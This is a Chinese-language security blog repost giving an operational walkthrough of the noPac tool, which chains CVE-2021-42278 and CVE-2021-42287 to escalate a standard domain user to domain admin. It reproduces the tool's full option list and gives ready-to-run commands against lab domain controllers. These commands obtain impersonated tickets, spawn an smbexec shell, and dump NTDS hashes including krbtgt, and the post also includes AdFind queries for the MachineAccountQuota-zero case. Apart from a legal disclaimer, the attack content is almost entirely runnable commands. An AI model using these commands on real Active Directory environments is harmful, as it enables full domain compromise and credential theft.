利用CVE-2021-42278和CVE-2021-42287从标准域用户模拟 DA

admin 2025年1月13日19:21:50评论4 views字数 4214阅读14分2秒阅读模式
利用 CVE-2021-42278 和 CVE-2021-42287 从标准域用户模拟 DA,该项目修改自 sam-the-admin。

项目地址:

https://github.com/Ridter/noPac
https://github.com/cube0x0/noPac
https://github.com/WazeHell/sam-the-admin

0x01 用法

SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chainpositional arguments:  [domain/]username[:password]                        Account used to authenticate to DC.optional arguments:  -h, --help            show this help message and exit  --impersonate IMPERSONATE                        target username that will be impersonated (thru S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to the SPN specified  -domain-netbios NETBIOSNAME                        Domain NetBIOS name. Required if the DC has multiple domains.  -target-name NEWNAME  Target computer name, if not specified, will be random generated.  -new-pass PASSWORD    Add new computer password, if not specified, will be random generated.  -old-pass PASSWORD    Target computer password, use if you know the password of the target you input with -target-name.  -old-hash LMHASH:NTHASH                        Target computer hashes, use if you know the hash of the target you input with -target-name.  -debug                Turn DEBUG output ON  -ts                   Adds timestamp to every logging output  -shell                Drop a shell via smbexec  -no-add               Forcibly change the password of the target computer.  -create-child         Current account have permission to CreateChild.  -dump                 Dump Hashs via secretsdump  -use-ldap             Use LDAP instead of LDAPSauthentication:  -hashes LMHASH:NTHASH                        NTLM hashes, format is LMHASH:NTHASH  -no-pass              don't ask for password (useful for -k)  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the command line  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)  -dc-host hostname     Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be used  -dc-ip ip             IP of the domain controller to use. Useful if you can't translate the FQDN.specified in the account parameter will be usedexecute options:  -port [destination port]                        Destination port to connect to SMB Server  -mode {SERVER,SHARE}  mode to use (default SHARE, SERVER needs root!)  -share SHARE          share where the output will be grabbed from (default ADMIN$)  -shell-type {cmd,powershell}                        choose a command processor for the semi-interactive shell  -codec CODEC          Sets encoding used (codec) from the target's output (default "GBK").  -service-name service_name                        The name of theservice used to trigger the payloaddump options:  -just-dc-user USERNAME                        Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch  -just-dc              Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)  -just-dc-ntlm         Extract only NTDS.DIT data (NTLM hashes only)  -pwd-last-set         Shows pwdLastSet attribute for each NTDS.DIT account. Doesn't apply to -outputfile data  -user-status          Display whether or not the user is disabled  -history              Dump password history, and LSA secrets OldVal  -resumefile RESUMEFILE                        resume file name to resume NTDS.DIT session dump (only available to DRSUAPI approach). This file will also be used to keep updating the session's state  -use-vss              Use the VSS method insead of default DRSUAPI  -exec-method [{smbexec,wmiexec,mmcexec}]                        Remote exec method to use at target (only when using -use-vss). Default: smbexec

注意:如果没有指定-host-name,工具会自动获取域控制主机名,请选择-dc-ip指定的主机的主机名。如果未指定 --impersonate,该工具将随机选择要利用的域管理员。默认使用 ldaps,如果遇到 ssl 错误,请尝试添加 -use-ldap 。

获取ST

python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203

利用CVE-2021-42278和CVE-2021-42287从标准域用户模拟 DA

自动获取Shell
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator

利用CVE-2021-42278和CVE-2021-42287从标准域用户模拟 DA

转储哈希
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dumppython noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump -just-dc-user cgdomain/krbtgt

利用CVE-2021-42278和CVE-2021-42287从标准域用户模拟 DA

0x02 扫描器

python scanner.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203

利用CVE-2021-42278和CVE-2021-42287从标准域用户模拟 DA

0x03 MAQ = 0

方法一

找到当前用户可以修改的计算机。

AdFind.exe -sc getacls -sddlfilter ;;"[WRT PROP]";;computer;domainuser  -recmute

利用CVE-2021-42278和CVE-2021-42287从标准域用户模拟 DA

Exp:添加 -no-add 并使用 -target-name .

python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -no-add -target-name DomainWin7$ -old-hash :2a99c4a3bd5d30fc94f22bf7403ceb1a -shell

利用CVE-2021-42278和CVE-2021-42287从标准域用户模拟 DA

警告!!请勿通过ldaps或samr修改域内计算机的密码,可能会破坏计算机与主域之间的信任关系!!

方法二

找到 CreateChild 账号,并使用该账号进行漏洞利用。

AdFind.exe -sc getacls -sddlfilter ;;"[CR CHILD]";;computer; -recmute

利用CVE-2021-42278和CVE-2021-42287从标准域用户模拟 DA

Exp:添加 -create-child

python noPac.py cgdomain.com/venus:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -create-child

利用CVE-2021-42278和CVE-2021-42287从标准域用户模拟 DA

 

原文始发于微信公众号(Hack分享吧):利用CVE-2021-42278和CVE-2021-42287从标准域用户模拟 DA

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月13日19:21:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用CVE-2021-42278和CVE-2021-42287从标准域用户模拟 DAhttps://cn-sec.com/archives/1101546.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息